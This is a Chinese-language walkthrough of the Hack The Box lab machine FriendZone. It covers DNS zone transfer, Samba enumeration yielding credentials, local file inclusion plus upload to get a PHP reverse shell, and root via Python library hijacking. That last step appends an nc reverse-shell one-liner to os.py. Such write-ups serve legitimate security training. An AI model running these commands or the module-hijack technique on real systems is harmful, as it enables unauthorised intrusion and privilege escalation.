0x00.前言

我天性也许有些狡猾,但却一心想成为个真正的君子,有时我做事虽然虚伪,但无论如何,我总是照君子的样子做了出来。

0x01.信息搜集

开始之前先了解几个概念,

DNS区域传输:有时也称为诱导 DNS 查询类型AXFR,是一种DNS 事务。它是管理员可用于跨一组DNS 服务器复制DNS 数据库的众多机制之一。区域传输使用传输控制协议(TCP) 进行传输,并采用客户端-服务器事务的形式。请求区域传输的客户端可以是从主服务器请求数据的辅助服务器。被复制的数据库部分是一个区域。

AXFR:是一种“区域传输”协议,用于跨多个 DNS 服务器复制 DNS 数据。与需要用户提前知道一些 DNS 信息的普通 DNS 查询不同,AXFR 查询会显示包括子域名在内的资源记录。

dig:dig是Domain Information Groper的首字母缩写词。使用dig,可以查询 DNS 服务器以获取有关各种 DNS 记录的信息,包括主机地址、邮件交换、名称服务器和相关信息。它旨在成为诊断 DNS 问题的工具。但是,可以使用它来探索并了解有关 DNS 的更多信息,DNS 是保持 Internet 路由流量的中央系统之一。

dig查询DNS信息

nmap -sC -sV 10.10.10.123
image-20220517084337129
开放端口:
    21    ftp
    22    ssh
    53    domain
    80    http
    139    Samba
    443    https

扫描到https的证书信息,一个域名,

image-20220517085123512

使用dig查询,

dig axfr friendzone.red @10.10.10.123
image-20220517090833966

查询到三条子域名:

  • administrator1.friendzone.red
  • hr.friendzone.red
  • uploads.friendzone.red

全部添加到/etc/hosts文件中,让本地可以正确解析,如下:

image-20220517091144876

Samba共享获取账户密码

Enum4linux:Enum4linux 是一个从 Windows 和 Samba 系统枚举信息的工具。

Smbclient:smbclient 命令可用于轻松访问 Windows 共享。通过使用 smbclient,可以轻松地列出、上传、删除或导航远程 Windows 共享。smbclient 命令还提供了一个交互式 shell。

用Enum4linux扫描下Samba的信息,

enum4linux 10.10.10.123
image-20220517094216439

用smbclient连接共享,

smbclient -N \\\\10.10.10.123\\general

其中/general下发现一段文本文件creds.txt,内容如下:

creds for the admin THING:

admin:WORKWORKHhallelujah@#

Tips:Smb中没有cat命令,可以用more代替。

image-20220517094607106

而在/Development中,没有文件,却可以上传文件。

image-20220517094854976

0x02.LFI本地文件包含+文件上传获取shell

访问https://administrator1.friendzone.red/,可以看到一个登录框,用之前在Samba获得的账户密码可以登录(admin:WORKWORKHhallelujah@#),

image-20220517095233327

根据提示访问/dashboard.php,

image-20220517095523181

根据提示输入默认参数(?image_id=a.jpg&pagename=timestamp),

image-20220517095718329

根据返回结果可以推测是访问了一张图片(a.jpg)和一个php脚本文件(timestamp),用DirButer扫描目录,结果可以验证,确实存在timestamp.php,

image-20220517095957016

这里一个本地文件包含,再加上之前在/Development可以文件上传,就可以弹一个shell了,先在/Development上传一个php反弹shell脚本,

image-20220517100411629

本地监听,

image-20220517100514399

然后将浏览器url的pagename参数的值改为/etc/Development/shell,即:

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell

访问后即可收到一个反弹shell,

image-20220517100839183

Tips:将pagename参数的值改为/etc/Development/shell的原因是,之前在用enum4linux收集Samba信息时便得到了Files的绝对路径是/etc/Files,据此便可推断/Development位于同级目录下,

image-20220517101143573

第一个flag在/home/friend/user.txt,

image-20220517103102643

0x03.模块劫持提权

打开pspy监听进程,可以发现一个python脚本,

image-20220516220305291

查看代码,大部分都被注释了,只有两行起作用了,引入了os库,print输出了一行字符串,

image-20220517103719732

这个脚本我们只有读权限,不能做修改,看起来不可利用,

image-20220517103827663

但是通过Linpeas.sh脚本收集信息时,在可写目录这一段可以发现,os.py是可写的,

image-20220516221804866

也就是说,只需在os.py追加一段反弹shell的代码,在每次reporter.py作为定时任务执行时,便会也将我们追加的代码执行一遍,所以,

echo "import os;os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 6666 >/tmp/f')" >> /usr/lib/python2.7/os.py

这行命令将会在os.py尾部追加一行代码,只要事先在本地监听好所设置的对应端口,就可以收到一个反弹shell,如下:

image-20220517104700324

Tips:有一个问题是,要是反弹shell代码将os.py中原本内容覆盖了,是无法反弹shell的(在我本地测试是这样,但按理来说即使覆盖应该也能生效才对),只需要在原本代码后追加弹shell代码即可。

0x04.总结

这一台靶机给了很多无用且迷惑人的信息,比如一开始的其他几个子域名,不过本人都省略掉了这些部分。

关于Python模块劫持提权,有一篇不错的文章:https://rastating.github.io/privilege-escalation-via-python-library-hijacking/

参考视频:

https://www.youtube.com/watch?v=PXWvhJDQ9MQ

参考文章:

https://0xdf.gitlab.io/2019/07/13/htb-friendzone.html

https://resources.infosecinstitute.com/topic/hack-the-box-htb-walkthrough-friendzone/

image-20220517110016341